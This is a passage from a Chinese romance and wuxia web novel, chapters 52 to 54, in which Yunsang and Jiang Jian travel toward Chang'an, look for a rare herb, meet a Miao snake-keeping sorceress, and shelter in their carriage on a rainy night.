谁知那少年疑惑地抬起了眼,将她上下扫了一遍,诧异问道:“姑娘是外族人?” “但瞧着也不像……” 模样正是纯正的汉人,说的也是一口流利的长安官话,怎么瞧都不像是外族来的。 云桑察觉出了什么,换了种问法委婉道:“我和夫君一直住在深山中,常年不出来,不太清楚外面,所以……” 虽然有些诧异,觉得这白净秀雅的美貌少女不像是深山里来的,但少年还是好心解答了。 “明日是章懿太子忌日,十六州七十二郡都要为章懿太子缟素悼念,姐姐果真一点都没听过吗?” 虽然他只有十三岁,但也实打实每年都经历一遭,自陛下下令以来,这就是王朝一年一度的大事,这事天下谁人不知谁人不晓? 如今遇上一个全然不知的,怎能不让少年惊奇。 但想着人家久居深山,就觉得也有几分合理。 “没听过什么?” 江见沐发结束,听着声音便过来了,听见了少年这最后一句反问,江见边擦着头发边过来问。 “章懿太子的忌日啊,明日就是,我劝两位客人也赶紧准备素服吧,要是被发现不着缟素,会吃板子的,我爹娘说刚开始几年常有吃板子的人。” 少年将饭食递过去,好意提醒道,没等江见多问,人就转身忙别的去了。 江见将饭菜接过来,嘴里嘀咕道:“什么太子忌日皇帝忌日的,竟还那么霸道,还要吃板子,我就不穿,看他能将我吃了!” 章懿太子这四个字像是一个开关,云桑脑中忽地涌现出了一些信息。 章懿太子李熙,今上嫡长子,十八年前因贵妃戚氏和阉党勾结,被陛下冤杀,满门死于祸乱,包括刚满月的幼子。 第52章 第 52 章 妖女 后真相大白, 陛下深悔之,追谥章懿,同年大赦天下为章懿太子祈福, 并勒令天下人为章懿太子缟素三日, 不嫁娶, 不宴饮,门挂白幡, 悼念爱子。 “还是穿一穿吧。” 这些微末的信息让云桑脑袋有些昏沉,她思量了一番, 对着江见道。 就在这待一日了,云桑不想再惹什么麻烦, 而且那位章懿太子是个可敬可怜的人,为他缟素一日倒也无妨。 “啊,一定要穿吗?” “要穿, 你刚才不是也听见了,如果不穿会吃板子, 我知你有能耐, 但总是会引来麻烦,不如穿一穿。” “而且, 章懿太子是个可怜人……” 云桑叹息着补充道, 不知道为何,章懿太子的忌日也让她心跟着发沉, 似乎有什么不好的回忆伴随在其中。 江见有些不情愿,但看着对面的云桑神情坚,也不会反驳什么,只在后面接话道:“可怜人?太子有什么可怜的,可怜他早死吗?” 他可不喜欢娘子对其他男子侧目哀伤, 话语漫不经心,随意的紧。 云桑看着大口吃饭的少年,将章懿太子家的惨剧说与他听,希望这人明日能乖顺些。 “全死了啊,还是冤枉的,那挺可怜的,老皇帝不干人事啊。” 将嘴里的脆萝卜咬得咔嚓咔嚓的,江见如是说道。 “这些话可别到外头说,不小心被官家的人听到也是会吃板子的。” 虽然知道江见在这里说些大逆不道的除了她没人听见,云桑心里还是怕怕的,不忘叮嘱江见。 给她夹了一筷子肘子肉,江见无所谓道:“知道了,皇帝就是事多,儿子都死了还搞这些给谁看,净会折腾百姓~” “来娘子,多吃些肉长身体。” 云桑一言难尽地看着江见夹过来的那块连皮带肉的肘子,小心将皮和肉分离开,熟稔地将皮夹到了江见碗里。 “你也长。” 似乎是怕江见再夹几块过来,云桑先发制人给江见夹了几筷子,开口接前一个话茬。 “也许这样做陛下自己心里会开心些吧。”、 “不过,你不是每年都出来,怎么也不知道章懿太子忌日的规矩?” 云桑觉得,她失忆前肯定是知道的,生活在长安那地方不可能不知道,瞧,先前她都想起了些什么。 就是江见竟然不知,这有些出乎她的意料。 江见觉得,娘子夹过来的菜都比之前香些,他大快朵颐,神情美滋滋道:“因为我平时都是春日出来,赚够了钱便回谷里过日子,那里才是我家,往年这个时候我已经在谷里躺平了,谁知道什么太子忌日的。” 被江见一番言语解了惑,云桑才明白过来。 想来是因为自己的缘故,江见头一遭这个时候还逗留在外面。 听江见将脆萝卜咬得脆响,云桑也被诱惑到了,咽下一口肘子肉,吃了一片。 嗯,酸酸甜甜的倒是不辣,怪不得江见喜欢吃。 …… 第二日,特意将素服穿上的两人相携出去采买用品了。 江见勉勉强强地在白袍外套上了素服,一脸的丧气与嫌弃。 “这衣裳真难看,穿着也不舒服,真想现在就撕了它!” 云桑将他被素服盖住的剑鞘整理出来,听他这话,忙温声劝道:“你且忍忍,就一会的功夫,咱们买完东西就离开。” 嗅着少女发顶上传来的馨香,江见心中的烦躁感被瞬间清空了,他摸了摸云桑鬓边簪的白色绢花,嘀咕道:“娘子穿白色也好看,白色的衣裙,粉色的脸,更像云桑花了。” “但还是鲜亮的衣裳更衬娘子,待会我们去多买几身鲜亮的衣裳,粉色的娘子穿着最好看了~” “你就知道粉色!” 云桑嗔了他一眼,失笑着摇头。 原本还觉得一身素服,带着素绢花很是怪异,一踏出客栈来到长街上,发现两侧所有店铺皆挂着白幡,行人也尽是一身缟素,头戴素色绢花。 这样云桑觉得自己一点也不扎眼了。 今日的天气出奇的好,不像昨日,越到下午还有些阴沉沉的像是要下雨。 本以为今天会酣畅淋漓地下一场,却意外是晴日。 街上也有许多人同云桑的想法是一样的,看着这洒满长街的灿烂暖阳,都惊奇地念叨着什么。 “今年的忌日居然是个大晴天,往年不是雨水便阴沉沉的,今年太子殿下看起来心情不错啊~” “就是,实在是稀奇,许是今年太子殿下在天上过得开心,不怪陛下了。” “晴日好哇,晴日好哇,今天回去把被子拿出来晒晒~” 一路上,云桑不知听了多少类似的话,觉得很不可思议。 难道真有一到时候便下雨的日子吗? 云桑本是不信的,但看着路人的反应也不似作假,只得叹一句神奇。 与江见要买的东西也不算多,除了衣裳外,都是些零零碎碎的小玩意,随身用的,吃的,譬如手帕、牙粉,澡豆还有零嘴什么的。 现在还多了一项,便是药材。 当时给江见送喜帖的友人叫上官朔,说是什么药王谷出来的,医术很好,两年前被江见救过一次,糊里糊涂就成了朋友。 他给江见的药方上面有十二味药,其中八味好寻,一路搜罗了差不多都到手了,还差四味,其中包括信上所说的血灵芝。 来到广魏郡最大的药坊,江见报出了最后四味药,但见那掌柜面上犯起了难。 “不会都没有吧?” 好不容易寻到了破解噬春散的解药,就算钱花多些也无妨,就怕钱捧出来也没用。 白胡子老掌柜忙摇了摇头答道:“非也非也,刚刚小公子说的四味药材,蟾酥、血竭、金钱白花蛇小老儿这里都有,就是最后一味血灵芝是万万没有的。” 老掌柜捋了捋胡子,显然也无能为力。 “而且这东西不止小老儿这里没有,怕是全天下也不一定能寻出几株来。” 被老掌柜这话唬到了,云桑忧心忡忡问:“为何,这药材究竟有何特殊之处?” 一路走来确实没有一家药材铺有雪灵芝的,这东西到底哪里金贵? 江见显然也被老掌柜那信誓旦旦的话唬到了,沉着一张脸等着解惑。 老掌柜也是个精通药理的老大夫了,听客人询问这味顶顶稀罕的药材,开始摇头晃脑地说起血灵芝来。 “血灵芝的得名,不仅是它浑身赤红如血,更是因为它的长成是在尸山血海中。” “据古籍记载,只有大型战场过后才有三成的几率滋养出血灵芝这等药材,毫不夸张说这是数十万人的血气滋养长成的药材,向来罕见,小老儿也只是听说过,甚至没有亲眼见过,小公子你有的找喽~” 老掌柜一边解释一边叹气,说完指了指一旁有的三味药材道:“这三味药材小公子还要吗?” “要,包起来。” 愁归愁,江见没有气馁,爽快地付了钱,将能买到的三味药材弄到手了。 回去的路上,云桑看着江见眉宇间那股淡淡的愁绪,牵着他的手柔声安慰道:“没事的,咱们努力找找,天下间定会有一株血灵芝,不管多少钱我们都买。” 江见是个无父无母的孤儿,被师父一手拉扯大,虽然看着师父两人咋咋呼呼的不对付,但亲手将他抚养长大,传授他武艺的师父,无疑是亲人一般的存在,还是唯一的亲人。 江见的心意定然是坚决到底的。 被江见回握,只见他低头朝她笑,轻嗯了一声附和她道:“没错,一定能找到的。” 药铺问不到,他自然还有些旁门左道的法子能打探到消息,他多年行走于江湖也不是白走的。 午饭后又小睡了一会,两人再度神清气爽地出发了。 从广魏郡到达长安最近的畿县花了将近两日的时间,这两日的时间也正好将章懿太子的忌日卡过去了,因而再进县城两人也不必再服缟素。 云桑在江见期待的目光下穿 上了他新买的荷叶半袖粉罗裙,像朵水灵灵的小桃花,引得江见像一只蜂子般在她跟前转悠。 云阳县是二人落脚的第一站,也是长安最外围的畿县,穿过云阳再过四个畿县便真正进入长安的核心区域,长乐和未央两个京县,那里才算是天子脚下,国朝中心。 云桑有很强的预感,在那应当就能找到自己的家了。 不过她和江见要在云阳县逗留一下,不仅是为着歇脚,还为着打探血灵芝的消息。 江见说云阳县有个叫什么听风楼的,貌似是个江湖组织,只要钱给够银钱什么消息都能探听到,十分厉害。 陪云桑吃过早饭,江见将她送回去,想来是被上回的意外整怕了,走之前还给云桑雇了两个小丫头过来,一半是陪她解闷,一半是怕她又被人不声不响地掳走。 盛情难却,云桑也理解他的心情,毕竟上回那飞来横祸也将自己吓得够呛,留个心也是好事。 江见走后,云桑带着两个小丫头在屋里玩投壶,踢毽子,心情也很是不错。 只是打探个消息的事,本以为人很快就能回来,云桑甚至还多要了一份饭菜,然等到菜凉透了也没等到人。 最后人是天黑了才回来的,带着一脸的晦气。 开门的看见江见脸色的瞬间,云桑甚至都以为他会不会又遇到独孤羽那个犟驴了。 这样想着,云桑也问了出来。 “不是他,但也差不多了。” “碰上一个妖女,差点把我抢走了!” 累了大半天,江见也不管茶水凉热,拿起茶壶便往嘴里灌,喝完后黑沉着脸,话语掷地有声,短短两句话相当有信息量,给云桑听得一愣一愣的。 “啊?什么妖女?为什么要抢你?” 乍一听,云桑根本没反应过来,一头的雾水。 为什么叫人家妖女,为什么妖女又要抢他,江见身上有什么可抢的,钱都在她这里呢。 本来就被那妖女弄得一肚子气,回来看着娘子懵懂甚至傻乎乎的模样,他当场气笑了。 也不喝水了,胳膊一拄,一双炯炯有神的大眼睛一瞬不瞬地盯着云桑,铿锵有力道:“因为她看上我了,想抢我做夫君。” “也就是说她要抢你的夫君,听懂了吗?” 也不知道在等什么,江见说完话后仍是直勾勾地盯着她,不知为何,云桑更懵了。 平时都是她被抢的,头一次遇到打江见主意的。 江见生得好,云桑理解会有姑娘看上他,这不是什么稀奇的。 但江见可不是寻常少年,有姑娘敢对他下手,云桑很难想象是什么场面。 “听懂了。” 面对正等着她回应的江见,云桑郑重地点头,表示自己听得很明白。 那神色,就像是被夫子问话时的反应,正经的不能再正经。 但这不是江见想要的结果,没收到正确情绪反馈的江见浑身像长了刺,在桌子旁扭了几下,甚是有趣。 云桑没忍住笑,唇角弯了弯,被江见发现了,心里更堵了。 “你还笑!” “别的姑娘要跟你抢夫君了你还能笑出来,你都不吃醋的吗?” 两相对比,江见觉得云桑的态度与他差太多了,往常在街上看见哪个男子多盯了娘子一息,江见都想上去把那人闭眼,更遑论是有人来抢。 娘子倒好,他好不容易从那妖女手里逃脱,回来连醋都不知道吃一吃。 话一说明白,云桑就不懵了,恍然大悟地看着自个在那生闷气的江见,清润的眼眸转了转,莞尔笑道:“那你会被人家抢走吗?” 少女的声音轻而甜,还带着和煦的笑意,江见立即就忘了肚子里还有气,满脸正色保证道:“当然不会,那个妖女才不是我的对手。” 云桑顺势接话:“那不就行了,你肯定不会被别人抢走,那我还担心什么,我还是担心担心自己比较好。” 心思简单的少年被这一番话带了过去,当即忘了自己那点别扭的小心思,觉得十分有道理,甚至跟着点头应话。 “是这个理,娘子才要注意安全……” 怕江见又提起吃醋不吃醋的事情,云桑忙问些别的。 “你为何叫她妖女,她很妖异可怖吗?” 连江见都折腾了老半天才回来,还口口声声称人家是妖女,那这个姑娘应该十分厉害了。 将外袍囫囵脱下来,听见云桑提那人,江见没好气道:“倒也不是可怖,那是个苗疆控蛊人,身上带着很多蛇虫鼠蚁的,手段妖异古怪的很,又招我生气了,所以喊她妖女。” “娘子是不知道,她听见我喊她妖女气得不轻,哈哈哈~” 说着说着,自己还笑了起来,一惊一乍地看着云桑失笑。 江见这样的性子,大概也能用阴晴不定来形容了。 “我还没见过苗疆人呢,听说那里的人装扮很奇特,不知道以后有没有机会瞧一瞧。” 云桑捧着脸嘀咕了一句,换来的是江见的扫兴。 “还是别了,娘子怕是得被她们的蛇咬,凶得要命。” 云桑一听她们还会放蛇咬人,顿时不敢多想了,老实钻回了她温暖的被窝。 秋天了,夜里越来越冷了呢。 第53章 第 53 章 铃铛 美美地在云阳县休整了一日, 又买了些随身的小玩意,两人再度动身,朝着长安城出发。 入了秋, 晨间也没有那么温暖了, 空气中甚至带着些冰凉的水雾, 被冉冉升起的日头一晒,皆化作若有若无的水汽。 云桑背着她的小袋子在旁边等待江见将挽具套上。 江见虽然偶尔在吃食上对流云抠了些, 但其实心里也很疼惜这匹马,只要两人歇息不用马车, 江见便会将马身上的挽具卸下,让流云能松快一些。 给的草料也是最好的那一类, 配上云桑经常给它的苹果和糖,流云也算是一匹幸福的马儿了。 “好了,娘子上车吧。” 套好车的江见招呼了一声, 云桑刚应了一声好,无意识拂了一下鬓发, 忽地发现她鬓边是空空的。 她今早刚戴的莲花钗不见了。 那是她昨天刚买的, 她正稀罕着呢。 “等等,我昨天刚买的莲花钗估计丢在屋里了, 我回去找找。” 说完就提着裙子想往回跑, 但被眼疾手快的江见拦住了。 “我去吧,我跑得比你快, 是那支嵌红宝石的钗子?” “没错,不晓得落房间里哪了,你费心找找。” 云桑疯狂点头,嘱咐江见要耐心些,生怕他毛躁。 目送着江见矫健的背影消失, 云桑将目光落在客栈门口熙熙攘攘的大街上,看着摩肩接踵的人群。 街上人很多,但是因为拥挤基本上都走得慢悠悠的,所以忽然看到一个小男孩急速奔跑起来,就尤为的显眼。 因为云桑一直看着他,所以也清楚看到了他手法娴熟地顺走了一个路人的钱袋,然后不要命地跑起来,正是朝着云桑这边跑来。 也许是正义感瞬间作祟,云桑鬼使神差地在那个小男孩从她身边跑过时伸出了脚,快准狠将人绊倒了。 “哎呦!谁绊我~” 小男孩一下摔了出去,连带着刚到手的钱袋子也飞了出去,云桑掐准时机将其捡了回来。 “是我绊的,怎么了?” “你小小年纪不学好偷人家的钱还有理,好在今日遇上了我,才没让你占了别人的血汗钱!” 绊都绊了,云桑也不怕什么了,一个七八岁的小孩子而已,还能将她欺负了去? 再说,要真能将她欺负了去不是还有江见,他应当马上就出来了,她怕谁! 念此 ,云桑又挺了挺身板,多了几分勇气,大义凛然道。 显然,那是个顽劣的孩子,被揭露了刚才的偷窃行为不仅不羞愧认错,反而态度恶劣的紧。 从地上爬起来,摸了一把自己被磕到的手肘,小男孩眼瞅着自己刚顺来的钱袋被云桑拿在手里,气急败坏道:“关你什么事,又没偷你的钱,你至于在这多管闲事,把钱还我!” 说着就要扑上来抢云桑手里的钱袋,云桑慌了慌神,刚要后退躲开,就见一道长长的银光闪过,扑到了男孩身上,不知是什么,又做了什么,引得他大叫一声。 “啊,有蛇!” 小男孩再次摔倒了,不过这次不是云桑绊的,而是被那条银色的不明生物吓着了。 待云桑看清那是是何物,心里也是咯噔一下。 那是一条银色的小蛇,如果不想它本身的可怕,它无疑是一条漂亮的小银蛇。 刚咬了人,银蛇扭着细长身子朝着主人身边爬取。 周围人群散开,一个靛色身影靠近,伴着清脆的银铃声。 那是个十分特别的姑娘,身姿纤瘦高挑,模样灵动娇俏。 但这不是重点,重点是她穿着一身云桑从未见过的服饰,装扮与常人迥异。 一身靛蓝长裙,乌发半绾,另一半被编成了一条条细长的小辫子,上面缀着大大小小的银饰,尤其是辫子上,挂着许多一动一响的银铃。 身上就更别说了,颈上是一个银项圈,造型小巧而华丽,衣裙袖口和裙边更是缀着形制各异的银饰,只稍一动动,这个姑娘整个人就在熠熠生辉。 银饰虽不是什么金贵饰物,但从头到脚挂了这么多也是价值不菲,更何况看着也十分美丽。 云桑哪里见过这样奇特美丽的装束,一时也忘了反应,等到那姑娘慢悠悠地走到她跟前,云桑一耳朵都是银铃响,才反应过来。 “你的钱袋。” 将手里沉甸甸的靛色锦袋递到那姑娘面前,云桑为自己的发痴而窘迫。 手心一轻,是对方拿走了钱袋,在手里抛了两下。 “我们不认识,你为什么帮我?” 这是个性子明媚的姑娘,只是随随便便一句话便弯起了眉眼,整张脸都透着笑意。 她有一双圆圆的眼睛,眼尾有些往下耷拉,看上去十分可爱。 声音也十分清亮,像是在与朋友笑语,亲切又自然。 云桑很快便放松了下来,也笑着回道:“路见不平罢了,他不该偷你的钱,我这是在做好事。” 这还是云桑第一次见义勇为,有些不好意思,故作淡定。 听了她的话,那姑娘笑得更灿烂了,抚了抚缠在手腕上的银蛇,语气俏皮道:“你真是个善良正义的好姑娘~” 不知怎的,云桑被她这一句简简单单的话夸得脸一红,嗫喏着说着没有二字。 云桑察觉到对方的目光在她面上停了几息,就听她幽幽道:“你生得真好看,是我平生见过的最好看的姑娘。” 云桑也不知这随手帮助的姑娘是个这么爱夸人的,脸皮薄的她难免又红了面,也去夸她。 “姑娘生得也很美丽,与所有人都不一样的美丽。” 显然,这个姑娘的脸皮没有云桑这么薄,在被夸时看起来十分开心,咯咯笑了起来。 “人长得好看,嘴巴也会说话,真讨人喜欢,不像我前天遇到的那个,光长得好看,嘴臭的要命。” 云桑也不知她嘀咕的什么事,只扬着浅浅的笑看着对方,直到地上躺着的小男孩惊恐地看着自己胳膊上紫黑伤口哀嚎着,云桑才想起这个孩子被银蛇咬了。 瞧那小臂上紫黑的牙印,想必是银蛇有毒。 云桑神色一紧,开始担心气那孩子的性命。 偷窃钱财是不对,但若是因此就要丢了性命倒也是可怜,她没想让这个孩子去死的。 心下一忧,她不自觉去看靛色衣裙的姑娘,双眸中的情绪不加掩饰。 “你想让我放过他?” 对方仍是笑着,圆圆的眼睛弯成了月牙,看着心情很好,但是正在做的却是夺人性命的事,尽管是别人先惹她的。 云桑逐渐意识到,这个姑娘不是表面看起来那样甜美单纯。 “就是,这孩子虽犯了错,得罪了你,但罪不至死,如果他好好认错就饶了他的小命吧。” 云桑试探着问道,一双水盈盈地眼眸期盼地看着对方,里面柔软的波光像是温暖的水流一般,缓缓拂过全身。 靛衣姑娘笑意又加深了些,看上去十分好说话地轻嗯道:“也不是不可以。” 见对方态度松动,云桑忙踢了一脚还在地上嚎的男孩,催促道:“还想要自己的小命就快点给这位姐姐道歉!” 因为刚刚男孩的出言不逊,那一脚可能还带着云桑的私人恩怨,力道不小,踢完云桑虽脚尖有点发麻,但整个人都舒坦了许多。 生死关头,是人都知道求生,刚刚还顽劣桀骜的男孩立即就服软了,为了能解了这马上要了他性命的蛇毒,他对着靛衣姑娘就是磕头赔罪。 “是小的有眼无珠做错了事,偷了姐姐的钱袋,如今知道错了,姐姐饶了我吧。” 伤处越来越疼,男孩吓得涕泗横流,连连求饶。 大概是男孩涕泗横流的凄惨模样让人瞧了好笑,靛衣姑娘被逗笑了,银铃一阵轻颤,云桑耳边尽是铃铛的脆响。 “拿去吧,没兴趣要你这条烂命。” 一粒黑乎乎的药丸被少女一只素手随意抛在地上,继续在满是灰尘的地面咕噜咕噜滚了几圈,还没停下就被男孩胡乱抓起送进了嘴里,在地上捂着他的胳膊呼哧呼哧喘着气。 云桑心中也悄然松了口气,余光中银饰闪烁,她不由自主又看了过去,一双清润美丽的眼眸直直落在那些漂亮闪烁的银饰上,看得认真。 “这么看着我做什么?” 头一次被人这么盯着看,还是个看着普通没有任何威胁的姑娘,她觉得很新鲜,笑吟吟地问。 云桑倒也没有掩饰自己的想法,指着她身上各色精巧的银饰老实巴交道:“你身上的银饰很好看,我从来没有见过。” 云桑就听见对面传来一阵轻笑,只见靛衣姑娘走近了她,忽地执起了她的手,转瞬间就将自己腕上的银镯子褪到了她的腕上。 “那送你一个好了~” 镯身细长,并非那种最普通的款式,而是与同主人身上所有银饰一样的别致,是一只镯身为细细藤蔓的枝叶镯,藤蔓上还挂着几个铃兰花样式的银色铃铛。 实话说,真的是一只很漂亮的镯子,云桑一眼就喜欢上了。 这一系列事情发生得太快,云桑都没来得及反应,镯子便到了她腕上,指尖触到的是对方温热的手指。 “我不能……” 下意识就想将镯子褪了还给她,怎么能随便收陌生人的礼物呢。 “既送了出去,自然没有要回来的道理,不喜欢便丢了。” 对方按了按她欲褪下镯子的手,笑眯眯地回了一句,人一晃越过了她,最后只留下一句伴着银铃脆响的轻飘飘话语。 “我叫司兰,你要记得我啊~” 银铃声随着主人的背影越来越微弱,云桑抬着那只带着铃兰镯的手,手足无措看着司兰逐渐消失的背影。 真是个奇奇怪怪的姑娘。 这一切发生的太快,当江见好不容易将掉在床缝的莲花钗找到回到客栈门口时,事态基本上已完全平息了。 叫司兰的姑娘带着她的银蛇离开了,偷窃钱财的小男孩捂着伤口颤颤巍巍跑了,人群也散开了,只是隐约还能听见路人对刚才那一幕的议论。 江见看着站在马车边发呆的云桑,将莲花钗戴在她头上,问道:“娘子看什么这么出神,让我也瞧瞧。” 等来了江见,云桑的心思便扭了回来,伸手扶了扶刚戴上的莲花钗,嘀咕般地回应着江见的问题。 “刚才遇到了一个有点奇怪的姑娘,我就夸了她的首饰好看,她便非要送我,还不许人拒绝的。” 随着云桑抬手的动作,已经消失的清脆铃铛声音再度出现,而听到这道熟悉声响的江见脸色也猛地一变,倏地握住了云桑带着银镯的手腕。 双目落在雪腕上那只铃铛镯,江见一颗心都跟着乱跳了几拍。 “这个镯子是哪来的?” 如果江见没记错的话,这样 奇特的形制,熟悉的声音,合该属于那个苗疆控蛊人才是,又怎会在娘子手上? 那妖女来过? 一想到这个可能,秋日的天,江见后背都开始冒汗了。 云桑不知晓他的顾虑,仍旧一派天真地回答道:“就是刚才那个奇怪的姑娘给我的,虽然很漂亮,但……” “那人是不是靛蓝色衣裳,浑身都是银饰的装扮?” 云桑惊奇地对上少年焦急的眼,解惑道:“没错,是这么个打扮,可你怎么……” 话没说完,就看见江见脸色不好地催促她:“快将镯子褪下来我瞧瞧!” 那妖女浑身又是毒又是蛊的,江见前日领教了一番,眼下又怎能放心她将自己的东西放在云桑身上? 云桑虽不知到底是怎么个情况,然看江见如此着急,忙不迭将银镯褪了下来,看着江见将镯子翻来覆去地查验。 似乎是没在镯子上发现什么不对劲,江见又翻看了一下她戴过银镯的手腕,见手腕上也是好好的。 “怪了,居然什么都没有吗?” 拿着银镯,江见百思不得其解地嘀咕了一句,云桑早好奇了,拍了一下他的手,将镯子夺回来道:“到底怎么了,是那个姑娘哪里不对劲吗?” 确定了铃铛镯没有任何害处,只是个好看的普通镯子,江见任由云桑拿走了。 “如果云阳县只一个控蛊人的话,那今日娘子碰见的便是前日那个要抢我的妖女了。” 第54章 第 54 章 雨夜 清幽的郊外荒林, 因为秋日的到来开始染上灰白色,绿意开始衰退。 马车行驶在羊肠小道,天地间除了车轮碾过不算平坦地面的声音, 便只有一对少年人的说话声。 “真不敢相信, 她居然就是你口中那个妖女, 可她看着也不大像坏人呢。” 云桑回忆起自己与司兰的每一句对话,当时只觉得她是个明媚单纯的小姑娘, 除了随身养了一条会咬人的毒蛇外。 马车门打开,云桑搬了个小马扎坐在门边, 同赶车的江见说着闲话,手里把玩着铃铛镯子。 因为要同云桑说话, 江见坐得很随意,甚至是侧着半边身子的姿态。 听云桑在那嘀咕那个妖女单纯不像坏人,江见气得翻了个白眼, 哼哼了两声道:“看着不像坏人有什么用,有的人就是长了一张温良好人脸, 实际上凶残得要命, 娘子你少以貌取人。” 云桑觉得这地方用以貌取人似乎哪里怪怪的,但觉得江见这话还挺有道理的, 她跟前不就有个不能用容貌判断的吗? 生得无害又善良, 就像邻家弟弟一样,却是个那样凶残的性子, 尽管是对敌。 也许是云桑眼中的情绪太过明显了,江见立即察觉出了此刻云桑盯他的意思,恼羞成怒道:“你那什么眼神,我是那种人吗?” 云桑低下头,抿着唇偷笑, 一切尽在不言中。 江见气得呼哧呼哧了好半天,云桑觉得要不是他现在在赶车分身乏术,江见一定会扑进来给她点颜色看看的。 仗着江见暂时不能将她怎么样,云桑又是嘿嘿笑了好半天,最后在他的怒瞪下闪身躲进了车厢内。 希望一觉醒来江见可以把之前的不愉快忘记,不要跟她计较了。 道路有些崎岖,但好在江见御车的才能不错,又在这事上十分上心,云桑在车内只觉得轻微的颠簸,正好用来辅助睡眠。 大概是快要到家的好心情萦绕心田,虽然只是一个短促的睡眠,云桑还是梦到了爹爹。 梦里,云桑正从家门外的犊车上被侍婢扶下来,似是刚在外面玩了一通回来。 还没到爹爹院子里,就见爹爹着一身燕居时的便服迎过来了,似乎带着满脸笑意,云桑直觉。 “囡囡回来了,快,饭菜好了,今日有你最爱吃的蟹酿橙和润兔,快跟爹爹过来~” 云桑很欢喜,整颗心都是暖洋洋,只听她雀跃地应了一声,跟在爹爹的身后走了。 云桑的舌尖都被蟹肉的鲜和橙子的清甜包裹,水滴漏刻时不时滴出叮咚声。 越来越多叮咚声了,密密麻麻、丝缕不绝,就好像在人耳畔敲打,凌乱无序。 这不是滴漏该有的节奏,云桑想。 昏暗中睁开眼,天色已经昏沉了下来,车壁上满是被雨水敲打出来的声音。 又下雨了。 云桑想起还在外面赶车的江见,立即坐起来,去推车门。 就算是在风雨中,隔着一块车门,云桑起身的动静也被江见敏锐的捕捉了。 似乎还有丝丝缕缕铃铛的轻响,夹杂在雨声中,细碎而清越。 车门被推开一道缝隙,风雨争先恐后地往缝隙里涌,云桑刚想用衣袖挡一挡,就看见江见靠了过来,用后背挡住了那一方风雨。 雨滴声啪嗒作响,江见的话语声也模糊了许多,但距离极近的云桑听得尚还清楚。 “雨不小,娘子出来作甚,平白被雨淋了,快回去,隔着车门也一样能说话。” 借着微弱的天光,云桑看见少年下颚正滴着水,一头原本蓬松的头发湿哒哒地黏在脸上,睫毛在忽闪,因为上面缀着几滴小小的水珠,阻碍着江见看清前路。 伸出手落在那截因为要费力赶车而肌肉鼓胀的臂膀上,冰凉的雨水滴在云桑裸露在外的细嫩手背,刚从毯子中钻出来的热乎乎手猝不及防经受这几滴凉意,忍不住瑟缩了几下。 云桑是个心软的姑娘,看着江见的模样,她无疑是忧虑心疼的。 “别赶路了,雨太大,把车停下,进来躲躲雨吧。” 少女柔软又坚定的话语透过万千雨丝传到江见的耳中,他空出一只手抹去了脸上的水,回头灿笑道:“再等等,好歹寻一棵能遮风雨的树,前面有树林,马上就到了。” “外面雨大,快躲回去,小心淋出个毛病来。” 甚至用胳膊肘怼了她一下,将其怼回了马车里。 “那你快些。” 云桑叮嘱了一声,老实地缩回了车里。 秋日的夜雨确实寒气侵人,她才探头一会浑身便被蒙上了一层冷意,云桑忙拉过自己的毯子围住自己,很快又恢复了暖洋洋。 江见没有说谎,他很快抵达了树下,将马车停了下来,接着便是在雨里松了马,将车辕垫起来,人朝着马车上来了。 云桑挪到最里面,给即将进来的江见腾位置。 只觉车身一沉,车门被速开速关,一个非常有存在感的人灵活钻进了车,没让外头的风雨侵进来。 虽然没有摸到,云桑也能感受到那股湿哒哒的水气,袍子定然全湿了。 “快用你那个内力烘一烘吧。” 不是头一遭遇上下雨了,云桑知道他有法子解决湿衣裳,见他进来,云桑催促道。 就算江见身子骨再壮实,云桑都怕他染上风寒,那滋味可不好受。 热意在马车内蒸腾了一会,不到一盏茶的时间,就听到江见往她这里爬的动静。 很快,她热乎乎的毯子就被人掀开,一个更暖的人钻进来了。 江见身上本就很暖,如今又被内力烘了一会,贴过来时就好像一个热腾腾的火炉子,烫得她一颗心乱颤。 外面雨声啪嗒,两人身子紧紧依偎在一处,封闭的马车阻隔了外面的风风雨雨,让身处这个小世界的两人愈发紧密亲近。 “娘子的脚怎么这么凉,我给捂捂。” 相当于都在一个被窝里,云桑哪里躲得掉江见的动作,没动两下就被捉住了双脚,然后被捂进了一双温暖的手掌中,云桑全身都跟着颤了颤。 “也没感觉到冷,不用给我捂。” 微凉的双足被一个男子如此亲昵地握在手心,尽管这个人是已经熟透了的江见,云桑还是不住地脸热。 “胡说,明明就很凉!” 反驳她时,江 见还捏了一下,猝不及防地让云桑发出一声惊呼。 “别捏我。” 那一声喊完后云桑也有些尴尬,所幸天色已晚,车内也足够昏暗,云桑刚想放心,忽地想起江见是个无视昼夜的,她又没法平静了。 那边还在继续说着浑话撩拨她,让她一颗心煎熬沸腾。 “娘子哪里都生得小,脸、嘴、手、脚,嗯……” “这里不算小。” 话语伴随着视线,云桑能感觉到江见的目光从脸移到了唇,再移到手、脚,本以为还要往下飘,然一下又蹿了上来,落在了她身上最丰盈饱满处,逗留了好半天,还给了个正面的评价。 云桑再忍不住了,两脚胡乱踢着他,人往榻上一横,缩在一处不理他。 真怕江见说着说着就扑过来对她这处不算小的地方折腾一番,因为太过脆弱,无论江见是用手还是嘴,她都没法领受。 在毯子里捂了一会,察觉到人又暗戳戳贴上来了,云桑撞了他一下,没撞动,还引得人笑了一下。 “睡吧娘子,明天醒来雨就停了。” 江见身上暖暖的,但在这秋日的雨夜里最是驱寒,云桑嵌在他怀中,慢慢有了睡意。 “娘子不会抛弃我的对吧?” 睡意朦胧中,云桑听到江见在她耳边的轻喃,她嘴角勾起笑,轻嗯着回他。 “嗯不会的~” 得到了云桑肯定的答复,江见犹不满足,还在那嘀嘀咕咕继续说话,听起来很唬人。 “你要是敢抛弃我,我就……” 他就了半天也没说出所以然来,倒是吊起了云桑的胃口,在他怀中拱了两下换了个新的姿势,饶有兴趣问道:“就如何?难不成是要把我杀了?” 如今的云桑早没了开始对江见的那一丝惧怕,甚至可以毫无心理压力地调侃起这些生生死死来。 她才不信江见会舍得这样对她,直觉和理智都告诉她。 因而,说起这句听起来异常残酷的话时,云桑话语中似乎还带着笑意,完全没带一点怕的。 显然,她的判断是没错的,听云桑这句反问,江见低笑了几声,连说了几遍怎么可能。 “我怎么会舍得伤害娘子呢,我只会将娘子藏起来。” “这样我就能永远和娘子在一起了。” 江见似乎在叹息,话语轻飘飘的,但这样温柔轻软的话语,却让云桑十足的信服。 江见确实是能做出这些事的,长亘山的河谷便是最好的避世桃源,云桑心想。 云桑仍旧不害怕,她已经做好了与他继续相守的念头,无论怎样,她的余生希望能和江见有关。 “这么爱胡思乱想不如多睡点觉,小心脸熬黄了我可就不要你了~” 